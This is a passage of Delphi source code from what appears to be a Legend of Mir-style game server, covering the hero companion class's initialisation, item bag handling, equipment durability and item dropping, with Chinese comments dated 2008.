m_dwRunAwayStart := GetTickCount(); m_dwRunAwayTime := 0; //m_boCanPickUpItem := True;//20080428 注释 //m_boSlavePickUpItem := False;//20080428 注释 m_dwPickUpItemTick := GetTickCount(); m_dwAutoAvoidTick := GetTickCount(); m_dwEatItemTick := GetTickCount(); m_dwEatItemTick1 := GetTickCount();//20080910 m_dwEatItemNoHintTick := GetTickCount(); //20080129 m_boIsNeedAvoid := False; m_SelMapItem := nil; //m_boIsPickUpItem := False;//20080428 注释 m_nNextHitTime := 300;//下次攻击时间 m_nDieDropUseItemRate := 100; m_nItemBagCount := 10; m_btStatus := 0; //状态 默认为攻击 20080323 m_boProtectStatus := False; //是否是守护状态 m_boProtectOK := False;//到达守护坐标 20080603 m_boTarget := False; //是否锁定目标 m_nProtectTargetX := -1; //守护坐标 m_nProtectTargetY := -1; //守护坐标 m_boCanDrop := True; //是否允许扔物品 m_boCanUseItem := True; //是否允许使用物品 m_boCanWalk := True; m_boCanRun := True; m_boCanHit := True; m_boCanSpell := True; m_boCanSendMsg := True; m_btReLevel := 0; m_btCreditPoint := 0; m_nMemberType := 0; m_nMemberLevel := 0; m_nKillMonExpRate := 100; m_nOldKillMonExpRate := m_nKillMonExpRate;//20080522 m_boIsUseMagic := False;//是否能躲避 20080714 m_boIsUseAttackMagic := False; m_nSelectMagic := 0; m_nPickUpItemPosition := 0; m_nFirDragonPoint := 0;//20080419 怒气不用初始化, m_dwAddFirDragonTick := GetTickCount(); m_btLastDirection := m_btDirection; m_wLastHP := 0; // m_nStartUseSpell := 0; m_boStartUseSpell := False; m_boDecDragonPoint := False;//20080418 开始减怒气 //m_dwSearchMagic := GetTickCount(); FillChar(m_SkillUseTick, SizeOf(m_SkillUseTick), 0); m_boNewHuman := False; m_nLoyal:=0;//英雄的忠诚度(20080109) n_AmuletIndx:= 0;//20080412 m_dwDedingUseTick := 0;//20080524 地钉使用间隔 m_dwAddAlcoholTick:= GetTickCount;//增加酒量进度的间隔 20080623 m_dwDecWineDrinkValueTick:= GetTickCount;//减少醉酒度的间隔 20080623 n_DrinkWineQuality:= 0;//饮酒时酒的品质 20080623 n_DrinkWineAlcohol:= 0;//饮酒时酒的度数 20080624 n_DrinkWineDrunk:= False;//喝酒醉了 20080623 dw_UseMedicineTime:= 0; //使用药酒时间,计算长时间没使用药酒 20080623 n_MedicineLevel:= 0; //药力值等级 20080623 m_Exp68:= 0;//酒气护体当前经验 20080925 m_MaxExp68:= 0;//酒气护体升级经验 20080925 boAutoOpenDefence:= False;//自动开启魔法盾 20080930 m_boTrainingNG := False;//是否学习过内功 20081002 m_NGLevel := 1;//内功等级 20081002 m_ExpSkill69:= 0;//内功心法当前经验 20080930 m_MaxExpSkill69:= 0;//内功心法升级经验 20080930 m_Skill69NH:= 0;//当前内力值 20080930 m_Skill69MaxNH:= 0;//最大内力值 20080930 m_dwIncNHTick:= GetTickCount;//增加内力值计时 20081002 m_Magic46Skill:= nil; //分身术 20081217 m_MagicSkill_200:= nil;//怒之攻杀 m_MagicSkill_201:= nil;//静之攻杀 m_MagicSkill_202:= nil;//怒之半月 m_MagicSkill_203:= nil;//静之半月 m_MagicSkill_204:= nil;//怒之烈火 m_MagicSkill_205:= nil;//静之烈火 m_MagicSkill_206:= nil;//怒之逐日 m_MagicSkill_207:= nil;//静之逐日 m_MagicSkill_208:= nil;//怒之火球 m_MagicSkill_209:= nil;//静之火球 m_MagicSkill_210:= nil;//怒之大火球 m_MagicSkill_211:= nil;//静之大火球 m_MagicSkill_212:= nil;//怒之火墙 m_MagicSkill_213:= nil;//静之火墙 m_MagicSkill_214:= nil;//怒之地狱火 m_MagicSkill_215:= nil;//静之地狱火 m_MagicSkill_216:= nil;//怒之疾光电影 m_MagicSkill_217:= nil;//静之疾光电影 m_MagicSkill_218:= nil;//怒之爆裂火焰 m_MagicSkill_219:= nil;//静之爆裂火焰 m_MagicSkill_220:= nil;//怒之冰咆哮 m_MagicSkill_221:= nil;//静之冰咆哮 m_MagicSkill_222:= nil;//怒之雷电 m_MagicSkill_223:= nil;//静之雷电 m_MagicSkill_224:= nil;//怒之地狱雷光 m_MagicSkill_225:= nil;//静之地狱雷光 m_MagicSkill_226:= nil;//怒之寒冰掌 m_MagicSkill_227:= nil;//静之寒冰掌 m_MagicSkill_228:= nil;//怒之灭天火 m_MagicSkill_229:= nil;//静之灭天火 m_MagicSkill_230:= nil;//怒之火符 m_MagicSkill_231:= nil;//静之火符 m_MagicSkill_232:= nil;//怒之噬血 m_MagicSkill_233:= nil;//静之噬血 m_MagicSkill_234:= nil;//怒之流星火雨 m_MagicSkill_235:= nil;//静之流星火雨 m_MagicSkill_236:= nil;//怒之内功剑法 m_MagicSkill_237:= nil;//静之内功剑法 m_GetExp:= 0;//人物取得的经验,$GetExp变量使用 20081228 m_AvoidHp:= 0;//躲闪血量 20081225 m_boCrazyProtection:= False;//怪物狂化保护 20081225 end; destructor THeroObject.Destroy; begin inherited; end; procedure THeroObject.SysMsg(sMsg: string; MsgColor: TMsgColor; MsgType: TMsgType); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; m_Master.SysMsg({'(英雄)' +} sMsg, MsgColor, MsgType); //20080312 end; procedure THeroObject.SendSocket(DefMsg: pTDefaultMessage; sMsg: string); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; TPlayObject(m_Master).SendSocket(DefMsg, sMsg); end; procedure THeroObject.SendDefMessage(wIdent: Word; nRecog: Integer; nParam, nTag, nSeries: Word; sMsg: string); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; TPlayObject(m_Master).SendDefMessage(wIdent, nRecog, nParam, nTag, nSeries, sMsg); end; procedure THeroObject.SendMsg(BaseObject: TBaseObject; wIdent, wParam: Word; nParam1, nParam2, nParam3: Integer; sMsg: string); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; m_Master.SendMsg(BaseObject, wIdent, wParam, nParam1, nParam2, nParam3, sMsg); end; procedure THeroObject.SendUpdateMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; m_Master.SendUpdateMsg(BaseObject, wIdent, wParam, lParam1, lParam2, lParam3, sMsg); end; procedure THeroObject.SendDelayMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string; dwDelay: LongWord); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; m_Master.SendDelayMsg(BaseObject, wIdent, wParam, lParam1, lParam2, lParam3, sMsg, dwDelay); end; procedure THeroObject.SendUpdateDelayMsg(BaseObject: TBaseObject; wIdent, wParam: Word; lParam1, lParam2, lParam3: Integer; sMsg: string; dwDelay: LongWord); begin if m_Master = nil then Exit; if (m_Master <> nil) and TPlayObject(m_Master).m_boNotOnlineAddExp then Exit; m_Master.SendUpdateDelayMsg(BaseObject, wIdent, wParam, lParam1, lParam2, lParam3, sMsg, dwDelay); end; function THeroObject.FindTogetherMagic: pTUserMagic; begin Result := FindMagic(GetTogetherUseSpell); end; //根据职业,判断英雄可以学习哪种技能 function THeroObject.GetTogetherUseSpell: Integer; begin Result := 0; if m_Master = nil then Exit; case m_Master.m_btJob of 0: begin case m_btJob of 0: Result := 60; 1: Result := 62; 2: Result := 61; end; end; 1: begin case m_btJob of 0: Result := 62; 1: Result := 65; 2: Result := 64; end; end; 2: begin case m_btJob of 0: Result := 61; 1: Result := 64; 2: Result := 63; end; end; end; end; //刷新英雄的包裹 procedure THeroObject.ClientQueryBagItems(); var I: Integer; Item: pTStdItem; sSENDMSG: string; ClientItem: TClientItem; StdItem: TStdItem; UserItem: pTUserItem; sUserItemName: string; begin if m_Master <> nil then begin//20081220 if TPlayObject(m_Master).m_boCanQueryBag or m_boDeath then Exit;//是否可以刷新包裹 20080917 死亡则不能刷新包裹 TPlayObject(m_Master).m_boCanQueryBag:= True; try sSENDMSG := ''; if m_ItemList.Count > 0 then begin//20080628 for I := 0 to m_ItemList.Count - 1 do begin UserItem := m_ItemList.Items[I]; if UserItem <> nil then begin//20081220 Item := UserEngine.GetStdItem(UserItem.wIndex); if Item <> nil then begin StdItem := Item^; ItemUnit.GetItemAddValue(UserItem, StdItem); Move(StdItem, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; if UserItem.btValue[12] = 1 then ClientItem.s.Reserved1:=1//物品发光 20080223 else ClientItem.s.Reserved1:= 0; if (StdItem.StdMode = 60) and (StdItem.shape <> 0) then begin//酒类,除烧酒外 20080717 if UserItem.btValue[0] <> 0 then ClientItem.s.AC:=UserItem.btValue[0];//酒的品质 if UserItem.btValue[1] <> 0 then ClientItem.s.MAC:=UserItem.btValue[1];//酒的酒精度 end; if StdItem.StdMode = 8 then begin//酿酒材料 20080726 if UserItem.btValue[0] <> 0 then ClientItem.s.AC:= UserItem.btValue[0];//材料的品质 end; ClientItem.Dura := UserItem.Dura; ClientItem.DuraMax := UserItem.DuraMax; ClientItem.MakeIndex := UserItem.MakeIndex; {if StdItem.StdMode = 50 then begin//20080726 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem.Dura); end;} sSENDMSG := sSENDMSG + EncodeBuffer(@ClientItem, SizeOf(TClientItem)) + '/'; end; end; end; end; if sSENDMSG <> '' then begin m_DefMsg := MakeDefaultMsg(SM_HEROBAGITEMS, Integer(m_Master), 0, 0, m_ItemList.Count, 0); SendSocket(@m_DefMsg, sSENDMSG); end; finally TPlayObject(m_Master).m_boCanQueryBag:= False; end; end; end; procedure THeroObject.GetBagItemCount; var I: Integer; nOldBagCount: Integer; begin nOldBagCount := m_nItemBagCount; for I := High(g_Config.nHeroBagItemCount) downto Low(g_Config.nHeroBagItemCount) do begin if m_Abil.Level >= g_Config.nHeroBagItemCount[I] then begin case I of 0: m_nItemBagCount := 10; 1: m_nItemBagCount := 20; 2: m_nItemBagCount := 30; 3: m_nItemBagCount := 35; 4: m_nItemBagCount := 40; end; Break; end; end; if nOldBagCount <> m_nItemBagCount then begin SendMsg(m_Master, RM_QUERYHEROBAGCOUNT, 0, m_nItemBagCount, 0, 0, ''); end; end; function THeroObject.AddItemToBag(UserItem: pTUserItem): Boolean; begin Result := False; if m_Master = nil then Exit; if m_ItemList.Count < m_nItemBagCount then begin m_ItemList.Add(UserItem); WeightChanged(); Result := True; end; end; //发送使用的魔法 procedure THeroObject.SendUseMagic(); var I: Integer; sSENDMSG: string; UserMagic: pTUserMagic; ClientMagic: TClientMagic; begin sSENDMSG := ''; if m_MagicList.Count > 0 then begin//20080630 for I := 0 to m_MagicList.Count - 1 do begin UserMagic := m_MagicList.Items[I]; if UserMagic <> nil then begin ClientMagic.Key := Chr(UserMagic.btKey); ClientMagic.Level := UserMagic.btLevel; ClientMagic.CurTrain := UserMagic.nTranPoint; ClientMagic.Def := UserMagic.MagicInfo^; sSENDMSG := sSENDMSG + EncodeBuffer(@ClientMagic, SizeOf(TClientMagic)) + '/'; end; end; end; if sSENDMSG <> '' then begin m_DefMsg := MakeDefaultMsg(SM_HEROSENDMYMAGIC, 0, 0, 0, m_MagicList.Count, 0); SendSocket(@m_DefMsg, sSENDMSG); end; end; //发送使用的物品,即身上的装备 procedure THeroObject.SendUseitems(); var I: Integer; Item: pTStdItem; sSENDMSG: string; ClientItem: TClientItem; StdItem: TStdItem; sUserItemName: string; begin sSENDMSG := ''; for I := Low(THumanUseItems) to High(THumanUseItems) do begin if m_UseItems[I].wIndex > 0 then begin //sItemNewName:=GetItemName(m_UseItems[i].MakeIndex); Item := UserEngine.GetStdItem(m_UseItems[I].wIndex); if Item <> nil then begin StdItem := Item^; ItemUnit.GetItemAddValue(@m_UseItems[I], StdItem); Move(StdItem, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if m_UseItems[I].btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(m_UseItems[I].MakeIndex, m_UseItems[I].wIndex); if m_UseItems[I].btValue[12] = 1 then ClientItem.s.Reserved1:=1//物品发光 20080229 else ClientItem.s.Reserved1:= 0; if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; ClientItem.Dura := m_UseItems[I].Dura; ClientItem.DuraMax := m_UseItems[I].DuraMax; ClientItem.MakeIndex := m_UseItems[I].MakeIndex; sSENDMSG := sSENDMSG + IntToStr(I) + '/' + EncodeBuffer(@ClientItem, SizeOf(TClientItem)) + '/'; end; end; end; if sSENDMSG <> '' then begin m_DefMsg := MakeDefaultMsg(SM_SENDHEROUSEITEMS, 0, 0, 0, 0, 0); SendSocket(@m_DefMsg, sSENDMSG); end; TPlayObject(m_Master).IsItem_51(1);//发送聚灵珠的经验 20080427 if WearFirDragon and (m_nFirDragonPoint > 0) then begin//有火龙之心,且怒气大于0时发送 20080419 if m_nFirDragonPoint > g_Config.nMaxFirDragonPoint then m_nFirDragonPoint:= g_Config.nMaxFirDragonPoint;//20080528 防止怒气调整后超过 SendMsg(m_Master, RM_FIRDRAGONPOINT, g_Config.nMaxFirDragonPoint, m_nFirDragonPoint, 0, 0, '');//发送英雄怒气值 end; end; procedure THeroObject.SendChangeItems(nWhere1, nWhere2: Integer; UserItem1, UserItem2: pTUserItem); var StdItem1: pTStdItem; StdItem2: pTStdItem; StdItem80: TStdItem; ClientItem: TClientItem; sUserItemName: string; sSendText: string; begin sSendText := ''; if UserItem1 <> nil then begin StdItem1 := UserEngine.GetStdItem(UserItem1.wIndex); if StdItem1 <> nil then begin StdItem80 := StdItem1^; ItemUnit.GetItemAddValue(@UserItem1, StdItem80); Move(StdItem80, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if UserItem1.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem1.MakeIndex, UserItem1.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; ClientItem.MakeIndex := UserItem1.MakeIndex; ClientItem.Dura := UserItem1.Dura; ClientItem.DuraMax := UserItem1.DuraMax; {if StdItem1.StdMode = 50 then begin//20080808 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem1.Dura); end;} sSendText := '0/' + IntToStr(nWhere1) + '/' + EncodeBuffer(@ClientItem, SizeOf(TClientItem)) + '/'; end; end; if UserItem2 <> nil then begin StdItem2 := UserEngine.GetStdItem(UserItem2.wIndex); if StdItem2 <> nil then begin StdItem2 := UserEngine.GetStdItem(UserItem2.wIndex); StdItem80 := StdItem2^; ItemUnit.GetItemAddValue(@UserItem2, StdItem80); Move(StdItem80, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if UserItem2.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem2.MakeIndex, UserItem2.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; ClientItem.MakeIndex := UserItem2.MakeIndex; ClientItem.Dura := UserItem2.Dura; ClientItem.DuraMax := UserItem2.DuraMax; {if StdItem2.StdMode = 50 then begin //20080808 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem2.Dura); end;} if sSendText = '' then begin sSendText := '1/' + IntToStr(nWhere2) + '/' + EncodeBuffer(@ClientItem, SizeOf(TClientItem)) + '/'; end else begin sSendText := sSendText + '1/' + IntToStr(nWhere2) + '/' + EncodeBuffer(@ClientItem, SizeOf(TClientItem)) + '/'; end; end; end; if sSendText <> '' then begin m_DefMsg := MakeDefaultMsg(SM_HEROCHANGEITEM, Integer(m_Master), 0, 0, 0, 0); SendSocket(@m_DefMsg, sSendText); end; end; procedure THeroObject.SendDelItemList(ItemList: TStringList); var I: Integer; s10: string; begin s10 := ''; if ItemList.Count > 0 then begin//20080630 for I := 0 to ItemList.Count - 1 do begin s10 := s10 + ItemList.Strings[I] + '/' + IntToStr(Integer(ItemList.Objects[I])) + '/'; end; end; m_DefMsg := MakeDefaultMsg(SM_HERODELITEMS, 0, 0, 0, ItemList.Count, 0); SendSocket(@m_DefMsg, EncodeString(s10)); end; procedure THeroObject.SendDelItems(UserItem: pTUserItem); var StdItem: pTStdItem; StdItem80: TStdItem; ClientItem: TClientItem; sUserItemName: string; begin StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin StdItem80 := StdItem^; ItemUnit.GetItemAddValue(@UserItem, StdItem80); Move(StdItem80, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; if UserItem.btValue[12] = 1 then ClientItem.s.Reserved1:=1//物品发光 20080223 else ClientItem.s.Reserved1:= 0 ; ClientItem.MakeIndex := UserItem.MakeIndex; ClientItem.Dura := UserItem.Dura; ClientItem.DuraMax := UserItem.DuraMax; {if StdItem.StdMode = 50 then begin//20080808 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem.Dura); end;} m_DefMsg := MakeDefaultMsg(SM_HERODELITEM, Integer(m_Master), 0, 0, 1, 0); SendSocket(@m_DefMsg, EncodeBuffer(@ClientItem, SizeOf(TClientItem))); end; end; procedure THeroObject.SendAddItem(UserItem: pTUserItem); var pStdItem: pTStdItem; StdItem: TStdItem; ClientItem: TClientItem; sUserItemName: string; begin pStdItem := UserEngine.GetStdItem(UserItem.wIndex); if pStdItem = nil then Exit; StdItem := pStdItem^; ItemUnit.GetItemAddValue(UserItem, StdItem); Move(StdItem, ClientItem.s, SizeOf(TStdItem)); //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; if UserItem.btValue[12] = 1 then ClientItem.s.Reserved1:=1//物品发光 20080223 else ClientItem.s.Reserved1:= 0; ClientItem.MakeIndex := UserItem.MakeIndex; ClientItem.Dura := UserItem.Dura; ClientItem.DuraMax := UserItem.DuraMax; { if StdItem.StdMode = 50 then begin //20080808 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem.Dura); end;} if StdItem.StdMode in [15, 19, 20, 21, 22, 23, 24, 26] then begin //if UserItem.btValue[8] = 0 then ClientItem.s.Shape := 0 //20080315 修改 //else ClientItem.s.Shape := 130; if UserItem.btValue[8] <> 0 then ClientItem.s.Shape := 130;//20080315 修改 end; if (StdItem.StdMode = 60) and (StdItem.shape <> 0) then begin//酒类,除烧酒外 20080702 if UserItem.btValue[0] <> 0 then ClientItem.s.AC:=UserItem.btValue[0];//酒的品质 if UserItem.btValue[1] <> 0 then ClientItem.s.MAC:=UserItem.btValue[1];//酒的酒精度 end; if StdItem.StdMode = 8 then begin//酿酒材料 20080702 if UserItem.btValue[0] <> 0 then ClientItem.s.AC:=UserItem.btValue[0];//材料的品质 end; m_DefMsg := MakeDefaultMsg(SM_HEROADDITEM, Integer(m_Master), 0, 0, 1, 0); SendSocket(@m_DefMsg, EncodeBuffer(@ClientItem, SizeOf(TClientItem))); end; procedure THeroObject.SendUpdateItem(UserItem: pTUserItem); var StdItem: pTStdItem; StdItem80: TStdItem; ClientItem: TClientItem; // OClientItem: TOClientItem; sUserItemName: string; begin StdItem := UserEngine.GetStdItem(UserItem.wIndex); if StdItem <> nil then begin StdItem80 := StdItem^; ItemUnit.GetItemAddValue(UserItem, StdItem80); ClientItem.s := StdItem80; //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName <> '' then ClientItem.s.Name := sUserItemName; if UserItem.btValue[12] = 1 then ClientItem.s.Reserved1:=1//物品发光 20080223 else ClientItem.s.Reserved1:= 0; if (StdItem.StdMode = 60) and (StdItem.shape <> 0) then begin//酒类,除烧酒外 20080703 if UserItem.btValue[0] <> 0 then ClientItem.s.AC:=UserItem.btValue[0];//酒的品质 if UserItem.btValue[1] <> 0 then ClientItem.s.MAC:=UserItem.btValue[1];//酒的酒精度 end; ClientItem.MakeIndex := UserItem.MakeIndex; ClientItem.Dura := UserItem.Dura; ClientItem.DuraMax := UserItem.DuraMax; {if StdItem.StdMode = 50 then begin//20080808 注释 ClientItem.s.Name := ClientItem.s.Name + ' #' + IntToStr(UserItem.Dura); end;} m_DefMsg := MakeDefaultMsg(SM_HEROUPDATEITEM, Integer(Self), 0, 0, 1, 0); SendSocket(@m_DefMsg, EncodeBuffer(@ClientItem, SizeOf(TClientItem))); end; end; function THeroObject.GetShowName(): string; begin //Result := m_sCharName; if g_Config.boNameSuffix then //是否显示后缀 20080315 Result :=m_sCharName +'\('+ m_Master.m_sCharName + g_Config.sHeroNameSuffix +')' else Result := m_sCharName + g_Config.sHeroName; if g_Config.boUnKnowHum and IsUsesZhuLi then Result :='神秘人';//带上斗笠即显示神秘人 20080424 end; procedure THeroObject.ItemDamageRevivalRing(); var I: Integer; pSItem: pTStdItem; nDura, tDura: Integer; HeroObject: THeroObject; begin for I := Low(THumanUseItems) to High(THumanUseItems) do begin if m_UseItems[I].wIndex > 0 then begin pSItem := UserEngine.GetStdItem(m_UseItems[I].wIndex); if pSItem <> nil then begin // if (i = U_RINGR) or (i = U_RINGL) then begin if (pSItem.Shape in [114, 160, 161, 162]) or (((I = U_WEAPON) or (I = U_RIGHTHAND)) and (pSItem.AniCount in [114, 160, 161, 162])) then begin nDura := m_UseItems[I].Dura; tDura := Round(nDura / 1000 {1.03}); Dec(nDura, 1000); if nDura <= 0 then begin nDura := 0; m_UseItems[I].Dura := nDura; if m_btRaceServer = RC_HEROOBJECT then begin HeroObject := THeroObject(Self); HeroObject.SendDelItems(@m_UseItems[I]); end; //004C0310 m_UseItems[I].wIndex := 0; RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 end else begin //004C0331 m_UseItems[I].Dura := nDura; end; if tDura <> Round(nDura / 1000 {1.03}) then begin SendMsg(Self, RM_HERODURACHANGE, I, nDura, m_UseItems[I].DuraMax, 0, ''); end; //break; end; //004C0397 // end;//004C0397 end; //004C0397 if pSItem <> nil then begin end; //if UseItems[i].wIndex > 0 then begin end; // for i:=Low(UseItems) to High(UseItems) do begin end; procedure THeroObject.DoDamageWeapon(nWeaponDamage: Integer); var nDura, nDuraPoint: Integer; HeroObject: THeroObject; //StdItem: pTStdItem;//20080229 去掉 begin if m_UseItems[U_WEAPON].wIndex <= 0 then Exit; nDura := m_UseItems[U_WEAPON].Dura; nDuraPoint := Round(nDura / 1.03); Dec(nDura, nWeaponDamage); if nDura <= 0 then begin nDura := 0; m_UseItems[U_WEAPON].Dura := nDura; if m_btRaceServer = RC_HEROOBJECT then begin HeroObject := THeroObject(Self); HeroObject.SendDelItems(@m_UseItems[U_WEAPON]); // StdItem := UserEngine.GetStdItem(m_UseItems[U_WEAPON].wIndex); //20080229 去掉,因为没有地方使用 {if StdItem.NeedIdentify = 1 then AddGameDataLog ('3' + #9 + m_sMapName + #9 + IntToStr(m_nCurrX) + #9 + IntToStr(m_nCurrY) + #9 + m_sCharName + #9 + //UserEngine.GetStdItemName(m_UseItems[U_WEAPON].wIndex) + #9 + StdItem.Name + #9 + IntToStr(m_UseItems[U_WEAPON].MakeIndex) + #9 + BoolToIntStr(m_btRaceServer = RC_PLAYOBJECT) + #9 + '0'); } end; m_UseItems[U_WEAPON].wIndex := 0; SendMsg(Self, RM_HERODURACHANGE, U_WEAPON, nDura, m_UseItems[U_WEAPON].DuraMax, 0, ''); end else begin //004C199D m_UseItems[U_WEAPON].Dura := nDura; end; if (nDura / 1.03) <> nDuraPoint then begin SendMsg(Self, RM_HERODURACHANGE, U_WEAPON, m_UseItems[U_WEAPON].Dura, m_UseItems[U_WEAPON].DuraMax, 0, ''); end; end; //受攻击,身上装备掉持久 procedure THeroObject.StruckDamage(nDamage: Integer); var I: Integer; nDam: Integer; nDura, nOldDura: Integer; HeroObject: THeroObject; StdItem: pTStdItem; bo19: Boolean; begin if nDamage <= 0 then Exit; nDam := Random(10) + 5; if m_wStatusTimeArr[POISON_DAMAGEARMOR ] > 0 then begin nDam := Round(nDam * (g_Config.nPosionDamagarmor / 10)); nDamage := Round(nDamage * (g_Config.nPosionDamagarmor / 10)); end; bo19 := False; if m_UseItems[U_DRESS].wIndex > 0 then begin nDura := m_UseItems[U_DRESS].Dura; nOldDura := Round(nDura / 1000); Dec(nDura, nDam); if nDura <= 0 then begin if m_btRaceServer = RC_HEROOBJECT then begin HeroObject := THeroObject(Self); HeroObject.SendDelItems(@m_UseItems[U_DRESS]); m_UseItems[U_DRESS].wIndex := 0; FeatureChanged(); end; m_UseItems[U_DRESS].wIndex := 0; m_UseItems[U_DRESS].Dura := 0; bo19 := True; end else begin m_UseItems[U_DRESS].Dura := nDura; end; if nOldDura <> Round(nDura / 1000) then begin SendMsg(Self, RM_HERODURACHANGE, U_DRESS, nDura, m_UseItems[U_DRESS].DuraMax, 0, ''); end; end; for I := Low(THumanUseItems) to High(THumanUseItems) do begin if (m_UseItems[I].wIndex > 0) and (Random(8) = 0) then begin StdItem := UserEngine.GetStdItem(m_UseItems[I].wIndex);//20080607 if (StdItem <> nil) and (((StdItem.StdMode = 2) and (StdItem.AniCount = 21)) or (StdItem.StdMode = 25) or (StdItem.StdMode = 7)) then Continue;//是祝福罐,火龙之心物品则跳过 20080607 nDura := m_UseItems[I].Dura; nOldDura := Round(nDura / 1000); Dec(nDura, nDam); if nDura <= 0 then begin if m_btRaceServer = RC_HEROOBJECT then begin HeroObject := THeroObject(Self); HeroObject.SendDelItems(@m_UseItems[I]); m_UseItems[I].wIndex := 0; FeatureChanged(); end; m_UseItems[I].wIndex := 0; m_UseItems[I].Dura := 0; bo19 := True; end else begin m_UseItems[I].Dura := nDura; end; if nOldDura <> Round(nDura / 1000) then begin SendMsg(Self, RM_HERODURACHANGE, I, nDura, m_UseItems[I].DuraMax, 0, ''); end; end; end; if bo19 then begin RecalcAbilitys(); CompareSuitItem(False);//套装与身上装备对比 20080729 end; DamageHealth(nDamage); end; //英雄扔物品 function THeroObject.ClientDropItem(sItemName: string; nItemIdx: Integer): Boolean; var I, wIndex, MakeIndex: Integer; UserItem: pTUserItem; StdItem: pTStdItem; sUserItemName: string; //sCheckItemName: string; nCode: byte; begin Result := False; nCode:= 0; TPlayObject(m_Master).m_boCanQueryBag:= True;//扔物品时,不能刷新包裹 20080917 Try try {if not TPlayObject(m_Master).m_boClientFlag then begin if TPlayObject(m_Master).m_nStep = 8 then Inc(TPlayObject(m_Master).m_nStep) else TPlayObject(m_Master).m_nStep := 0; end; } if g_Config.boInSafeDisableDrop and InSafeZone then begin SendMsg(g_ManageNPC, RM_MENU_OK, 0, Integer(Self), 0, 0, g_sCanotDropInSafeZoneMsg); Exit; end; nCode:= 1; if not m_boCanDrop then begin SendMsg(g_ManageNPC, RM_MENU_OK, 0, Integer(Self), 0, 0, g_sCanotDropItemMsg); Exit; end; nCode:= 2; if Pos(' ', sItemName) > 0 then begin //折分物品名称(信件物品的名称后面加了使用次数) GetValidStr3(sItemName, sItemName, [' ']); end; nCode:= 3; for I := m_ItemList.Count - 1 downto 0 do begin if m_ItemList.Count <= 0 then Break; nCode:= 4; UserItem := m_ItemList.Items[I]; if (UserItem <> nil) and (UserItem.MakeIndex = nItemIdx) then begin StdItem := UserEngine.GetStdItem(UserItem.wIndex); nCode:= 5; if StdItem = nil then Continue; //sItem:=UserEngine.GetStdItemName(UserItem.wIndex); //取自定义物品名称 sUserItemName := ''; if UserItem.btValue[13] = 1 then sUserItemName := ItemUnit.GetCustomItemName(UserItem.MakeIndex, UserItem.wIndex); if sUserItemName = '' then sUserItemName := UserEngine.GetStdItemName(UserItem.wIndex); if CompareText(sUserItemName, sItemName) = 0 then begin nCode:= 6; if CheckItemValue(UserItem ,0) then Break;//检查物品是否禁止扔 20080314 nCode:= 7; { if Assigned(zPlugOfEngine.CheckCanDropItem) then begin nCode:= 8; sCheckItemName := StdItem.Name; if not zPlugOfEngine.CheckCanDropItem(Self, PChar(sCheckItemName)) then Break; end; } if PlugOfCheckCanItem(0, StdItem.Name, False, 0, 0) then Break;//禁止物品规则(管理插件功能) 20080729 nCode:= 9; wIndex:= UserItem.wIndex;//20080901 MakeIndex:= UserItem.MakeIndex;//20080901 if g_Config.boControlDropItem and (StdItem.Price < g_Config.nCanDropPrice) then begin nCode:= 10; m_ItemList.Delete(I); ClearCopyItem(wIndex, MakeIndex);//20080901 清理复制品 Dispose(UserItem); Result := True; Break; end; nCode:= 11; if TPlayObject(m_Master).m_boHeroLogOut then Exit;//英雄退出,则失败(防止刷物品) 20080923 if DropItemDown(UserItem, 3, False, False, nil, m_Master) then begin nCode:= 12; m_ItemList.Delete(I); ClearCopyItem(wIndex, MakeIndex);//20080901 清理复制品 Dispose(UserItem); Result := True; Break; end; end; end; end;//for if Result then WeightChanged(); except MainOutMessage('{异常} THeroObject.ClientDropItem Code:'+inttostr(nCode)); end; finally TPlayObject(m_Master).m_boCanQueryBag:= False;//扔物品时,不能刷新包裹 20080917 end; end; //全部修复,需要的持久值 20080325 Function 